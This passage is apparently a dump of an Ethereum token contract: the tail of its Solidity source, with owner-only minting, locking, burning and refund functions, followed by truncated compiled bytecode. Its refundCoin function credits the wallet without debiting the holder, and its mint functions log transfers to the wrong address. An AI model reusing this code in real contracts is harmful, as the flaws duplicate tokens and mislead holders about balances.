_value * E18; require(foundationSupply >= coinIssuedFoundation.add(coins)); totalSupply = totalSupply.add(coins); coinIssuedFoundation = coinIssuedFoundation.add(coins); coinIssuedTotal = coinIssuedTotal.add(coins); balances[_who] = balances[_who].add(coins); personalLocks[_who] = true; emit Transfer(0x0, msg.sender, coins); emit WithdrawFoundation(_who, coins); } function withdrawGemmyMusic(address _who, uint _value) onlyOwner public { uint coins = _value * E18; require(gemmyMusicSupply >= coinIssuedGemmyMusic.add(coins)); totalSupply = totalSupply.add(coins); coinIssuedGemmyMusic = coinIssuedGemmyMusic.add(coins); coinIssuedTotal = coinIssuedTotal.add(coins); balances[_who] = balances[_who].add(coins); gemmyMusicLocks[_who] = true; emit Transfer(0x0, msg.sender, coins); emit WithdrawGemmyMusic(_who, coins); } function withdrawAdvisor(address _who, uint _value) onlyOwner public { uint coins = _value * E18; require(advisorSupply >= coinIssuedAdvisor.add(coins)); totalSupply = totalSupply.add(coins); coinIssuedAdvisor = coinIssuedAdvisor.add(coins); coinIssuedTotal = coinIssuedTotal.add(coins); balances[_who] = balances[_who].add(coins * 20 / 100); advisorFirstLockBalances[_who] = advisorFirstLockBalances[_who].add(coins * 40 / 100); advisorSecondLockBalances[_who] = advisorSecondLockBalances[_who].add(coins * 40 / 100); personalLocks[_who] = true; emit Transfer(0x0, msg.sender, coins); emit WithdrawAdvisor(_who, coins); } function withdrawMkt(address _who, uint _value) onlyOwner public { uint coins = _value * E18; require(mktSupply >= coinIssuedMkt.add(coins)); totalSupply = totalSupply.add(coins); coinIssuedMkt = coinIssuedMkt.add(coins); coinIssuedTotal = coinIssuedTotal.add(coins); balances[_who] = balances[_who].add(coins); personalLocks[_who] = true; emit Transfer(0x0, msg.sender, coins); emit WithdrawMkt(_who, coins); } function burnCoin() onlyOwner public { require(atNow() > secondCrowdSaleEndDate); require(saleSupply - coinIssuedSale > 0); uint coins = saleSupply - coinIssuedSale; balances[0x0] = balances[0x0].add(coins); coinIssuedSale = coinIssuedSale.add(coins); coinIssuedBurn = coinIssuedBurn.add(coins); emit BurnCoin(coins); } function changeWallet(address _who) onlyOwner public { require(_who != address(0x0)); require(_who != wallet); wallet = _who; emit ChangeWallet(_who); } function refundCoin(address _who) onlyOwner public { require(totalCoinLock == true); uint coins = balances[_who]; balances[wallet] = balances[wallet].add(coins); emit RefundCoin(_who, coins); } }
0x6080604052600436106102bd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806205bfb7146102e55780626c2abc1461031057806306fdde031461033b57806307caf9e1146103cb578063095ea7b3146103f65780631204d27c1461045b578063130bcaa214610486578063157f33f5146104ec57806318160ddd146105175780631987da04146105425780631b4647641461056d5780631c27e291146105ba57806323b872dd146105fd57806325534a1e1461068257806326458beb146106ad5780632d56af6c146106d85780632d62f428146106ef578063313ce5671461071a578063339a95f614610745578063397b337814610770578063442dfae21461079b5780634bd889b4146107c65780634de62cd614610809578063521eb2731461084c57806354244518146108a357806363c439a6146108ce578063665788f8146108f9578063674a62d0146109245780636b3c97571461094f5780636ba55c6d1461097a5780636f020775146109a557806370a08231146109d4578063798bede114610a2b57806381aea66814610a5657806382e6d3d614610a815780638da5cb5b14610aac57806395d89b4114610b0357806398b9a2dc14610b935780639a336fed14610bd65780639a670bbc14610bed5780639aa1001b14610c18578063a05fccef14610c65578063a9059cbb14610d26578063a96af0f414610d8b578063abb9e0bf14610db6578063c1857bf714610de1578063cd71a47114610e2e578063d30047bc14610e7b578063d5abeb0114610ea6578063d68526c814610ed1578063da7fd1f014610f1e578063dd62ed3e14610f49578063e065914c14610fc0578063e8c4fa041461101b578063ecc258dd14611046578063f2fde38b14611089578063f59ed863146110cc578063f7e0e743146110f7578063fc01157c1461113a575b600654670de0b6b3a764000063ee6b2800021115156102db57600080fd5b6102e3611165565b005b3480156102f157600080fd5b506102fa61168e565b6040518082815260200191505060405180910390f35b34801561031c57600080fd5b50610325611694565b6040518082815260200191505060405180910390f35b34801561034757600080fd5b5061035061169a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610390578082015181840152602081019050610375565b50505050905090810190601f1680156103bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d757600080fd5b506103e0611738565b6040518082815260200191505060405180910390f35b34801561040257600080fd5b50610441600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061173e565b604051808215151515815260200191505060405180910390f35b34801561046757600080fd5b5061047061189a565b6040518082815260200191505060405180910390f35b34801561049257600080fd5b506104ea600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506118a0565b005b3480156104f857600080fd5b50610501611a7b565b6040518082815260200191505060405180910390f35b34801561052357600080fd5b5061052c611a81565b6040518082815260200191505060405180910390f35b34801561054e57600080fd5b50610557611a8b565b6040518082815260200191505060405180910390f35b34801561057957600080fd5b506105b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a91565b005b3480156105c657600080fd5b506105fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e81565b005b34801561060957600080fd5b50610668600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061208a565b604051808215151515815260200191505060405180910390f35b34801561068e57600080fd5b5061069761242a565b6040518082815260200191505060405180910390f35b3480156106b957600080fd5b506106c2612430565b6040518082815260200191505060405180910390f35b3480156106e457600080fd5b506106ed612436565b005b3480156106fb57600080fd5b506107046125b9565b6040518082815260200191505060405180910390f35b34801561072657600080fd5b5061072f6125bf565b6040518082815260200191505060405180910390f35b34801561075157600080fd5b5061075a6125c5565b6040518082815260200191505060405180910390f35b34801561077c57600080fd5b506107856125cb565b6040518082815260200191505060405180910390f35b3480156107a757600080fd5b506107b06125dd565b6040518082815260200191505060405180910390f35b3480156107d257600080fd5b50610807600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125ef565b005b34801561081557600080fd5b5061084a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612767565b005b34801561085857600080fd5b506108616128f6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108af57600080fd5b506108b861291c565b6040518082815260200191505060405180910390f35b3480156108da57600080fd5b506108e3612922565b6040518082815260200191505060405180910390f35b34801561090557600080fd5b5061090e612928565b6040518082815260200191505060405180910390f35b34801561093057600080fd5b5061093961292e565b6040518082815260200191505060405180910390f35b34801561095b57600080fd5b50610964612934565b6040518082815260200191505060405180910390f35b34801561098657600080fd5b5061098f61293a565b6040518082815260200191505060405180910390f35b3480156109b157600080fd5b506109ba612940565b604051808215151515815260200191505060405180910390f35b3480156109e057600080fd5b50610a15600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612953565b6040518082815260200191505060405180910390f35b348015610a3757600080fd5b50610a40612a3e565b6040518082815260200191505060405180910390f35b348015610a6257600080fd5b50610a6b612a50565b6040518082815260200191505060405180910390f35b348015610a8d57600080fd5b50610a96612a58565b6040518082815260200191505060405180910390f35b348015610ab857600080fd5b50610ac1612a6a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b0f57600080fd5b50610b18612a8f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b58578082015181840152602081019050610b3d565b50505050905090810190601f168015610b855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b9f57600080fd5b50610bd4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b2d565b005b348015610be257600080fd5b50610beb612cc8565b005b348015610bf957600080fd5b50610c02612df6565b6040518082815260200191505060405180910390f35b348015610c2457600080fd5b50610c63600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612dfc565b005b348015610c7157600080fd5b50610d0c6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050613095565b604051808215151515815260200191505060405180910390f35b348015610d3257600080fd5b50610d71600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506133da565b604051808215151515815260200191505060405180910390f35b348015610d9757600080fd5b50610da06135df565b6040518082815260200191505060405180910390f35b348015610dc257600080fd5b50610dcb6135f1565b6040518082815260200191505060405180910390f35b348015610ded57600080fd5b50610e2c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506135f7565b005b348015610e3a57600080fd5b50610e79600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613890565b005b348015610e8757600080fd5b50610e90613b29565b6040518082815260200191505060405180910390f35b348015610eb257600080fd5b50610ebb613b2f565b6040518082815260200191505060405180910390f35b348015610edd57600080fd5b50610f1c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613b42565b005b348015610f2a57600080fd5b50610f33613ddb565b6040518082815260200191505060405180910390f35b348015610f5557600080fd5b50610faa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613ded565b6040518082815260200191505060405180910390f35b348015610fcc57600080fd5b50611001600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613e74565b604051808215151515815260200191505060405180910390f35b34801561102757600080fd5b50611030613eca565b6040518082815260200191505060405180910390f35b34801561105257600080fd5b50611087600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613ed0565b005b34801561109557600080fd5b506110ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061416e565b005b3480156110d857600080fd5b506110e161431f565b6040518082815260200191505060405180910390f35b34801561110357600080fd5b50611138600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614325565b005b34801561114657600080fd5b5061114f6145c3565b6040518082815260200191505060405180910390f35b600080600080600080600095506000945067016345785d8a0000935069152d02c7e14af68000009250611196612a50565b915060105482101580156111ab575060115482105b156111bd576001955060289450611251565b60125482101580156111d0575060135482105b156111e2576002955060149450611250565b60145482101580156111f5575060155482105b156112075760039550600f945061124f565b601654821015801561121a575060175482105b1561122c57600495506005945061124e565b601854821015801561123f575060195482105b1561124d5760059550600094505b5b5b5b5b60018610158015611263575060058611155b151561126e57600080fd5b8334101580156112cf5750826112cc34602460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b11155b15156112da57600080fd5b6112ef346188b86145e790919063ffffffff16565b9050606461130986606401836145e790919063ffffffff16565b81151561131257fe5b04905061132a816006546145c990919063ffffffff16565b670de0b6b3a764000063ee6b2800021015151561134657600080fd5b61135b816005546145c990919063ffffffff16565b600581905550611376816006546145c990919063ffffffff16565b60068190555061139134600e546145c990919063ffffffff16565b600e819055506113e981601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147e34602460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b602460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f5ed1f8a28d3ecafcb930d3849406f5c28a0e18006a4c42df4600176b764a922382601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020543460405180848152602001838152602001828152602001935050505060405180910390a2600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611685573d6000803e3d6000fd5b50505050505050565b601b5481565b60115481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117305780601f1061170557610100808354040283529160200191611730565b820191906000526020600020905b81548152906001019060200180831161171357829003601f168201915b505050505081565b601c5481565b600081601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561178e57600080fd5b6000151561179c338561461a565b15151415156117aa57600080fd5b81601f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118fd57600080fd5b600090505b8151811015611a77576001151560206000848481518110151561192157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561198157600080fd5b600060206000848481518110151561199557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f8a12c929eaa107bb1664c66b18c35d89e280fa3cbbe566786089d0ed9e9d1eae8282815181101515611a1f57fe5b90602001906020020151604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a18080600101915050611902565b5050565b600c5481565b6000600554905090565b60145481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aee57600080fd5b670de0b6b3a764000082029050611b1081600a546145c990919063ffffffff16565b670de0b6b3a76400006329b927000210151515611b2c57600080fd5b611b41816005546145c990919063ffffffff16565b600581905550611b5c81600a546145c990919063ffffffff16565b600a81905550611b7781600c546145c990919063ffffffff16565b600c81905550611bde606460148302811515611b8f57fe5b04601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c82606460288302811515611c3357fe5b04602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b602260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d26606460288302811515611cd757fe5b04602360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b602360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37fb2b158ae5c694d74eac973d34a3c217b63c0565cb896f0ac7069420ac22212838382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ede57600080fd5b60011515601a60009054906101000a900460ff161515141515611f0057600080fd5b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611fb681601e6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fb02f6d63043695316950ff6cafa7e6eb1cb7ced564a1184968c2d10d496837c48282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b600081601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156120da57600080fd5b81601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561216557600080fd5b60001515612173338561461a565b151514151561218157600080fd5b61221082601f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147bb90919063ffffffff16565b601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e282601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147bb90919063ffffffff16565b601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237782601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600e5481565b60125481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561249357600080fd5b60195461249e612a50565b1115156124aa57600080fd5b6000600654670de0b6b3a764000063ee6b280002031115156124cb57600080fd5b600654670de0b6b3a764000063ee6b28000203905061251c81601e60008073ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008073ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255e816006546145c990919063ffffffff16565b60068190555061257981600d546145c990919063ffffffff16565b600d819055507fce6e73ac49599640456553e49fe200ac722dd91236fa42809d32fc77bd845280816040518082815260200191505060405180910390a150565b60065481565b60025481565b60195481565b670de0b6b3a7640000639502f9000281565b670de0b6b3a7640000632faf08000281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561264a57600080fd5b60011515602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156126a957600080fd5b6000602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f8a12c929eaa107bb1664c66b18c35d89e280fa3cbbe566786089d0ed9e9d1eae81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127c257600080fd5b601b546127cd612a50565b1115156127d957600080fd5b60011515602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561283857600080fd5b6000602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fbb58001455d98d0507fed6675ec952bb2f26edca369ed179b6a6e4259f8b5fc581604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60185481565b60165481565b600b5481565b601d5481565b60085481565b601a60009054906101000a900460ff1681565b6000612a376129e9602360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b9050919050565b670de0b6b3a76400006329b927000281565b600042905090565b670de0b6b3a7640000631dcd65000281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b255780601f10612afa57610100808354040283529160200191612b25565b820191906000526020600020905b815481529060010190602001808311612b0857829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b8857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612bc457600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612c2157600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f5e854bf999fde7f4dc7e1139995b6318400f5cfccb2c8616f7df90e26263ed0581604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d2557600080fd5b60011515601a60009054906101000a900460ff161515141515612d4757600080fd5b612d4f612a50565b9050624f1a008101601c81905550629e34008101601d819055506000601a60006101000a81548160ff0219169083151502179055507fddae364a8357d65e5a022c61e31d9d813f9051ef6a56bdc1d43496f5a41a35bc60405160405180910390a17f491ad0c655b5497481a1c86bc3b16c0057ae6c74e54c3e275daf5f82015df6ab601c54601d54604051808381526020018281526020019250505060405180910390a150565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e5957600080fd5b670de0b6b3a764000082029050612e7b816007546145c990919063ffffffff16565b670de0b6b3a7640000639502f9000210151515612e9757600080fd5b612eac816005546145c990919063ffffffff16565b600581905550612ec7816007546145c990919063ffffffff16565b600781905550612ee281600c546145c990919063ffffffff16565b600c81905550612f3a81601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f0ea2105b11e2bdb1dcee3144aea42f0da38f0733d95417214300d3c630bcfbe68382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156130f357600080fd5b8251845114151561310357600080fd5b600090505b83518110156133cf57828181518110151561311f57fe5b90602001906020020151601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561317657600080fd5b6000151561319b33868481518110151561318c57fe5b9060200190602002015161461a565b15151415156131a957600080fd5b61321283828151811015156131ba57fe5b90602001906020020151601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147bb90919063ffffffff16565b601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132d5838281518110151561326657fe5b90602001906020020151601e6000878581518110151561328257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e600086848151811015156132e757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838181518110151561333d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85848151811015156133a357fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050613108565b600191505092915050565b600081601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561342a57600080fd5b60001515613438338561461a565b151514151561344657600080fd5b61349882601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147bb90919063ffffffff16565b601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d82601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b670de0b6b3a764000063ee6b28000281565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561365457600080fd5b670de0b6b3a764000082029050613676816008546145c990919063ffffffff16565b670de0b6b3a7640000631dcd6500021015151561369257600080fd5b6136a7816005546145c990919063ffffffff16565b6005819055506136c2816008546145c990919063ffffffff16565b6008819055506136dd81600c546145c990919063ffffffff16565b600c8190555061373581601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37fcb6f8e60551646b7665f3efb30a162629be0f0ccc55fa8ea95cb340aee845a998382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156138ed57600080fd5b670de0b6b3a76400008202905061390f81600b546145c990919063ffffffff16565b670de0b6b3a7640000632faf0800021015151561392b57600080fd5b613940816005546145c990919063ffffffff16565b60058190555061395b81600b546145c990919063ffffffff16565b600b8190555061397681600c546145c990919063ffffffff16565b600c819055506139ce81601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a1162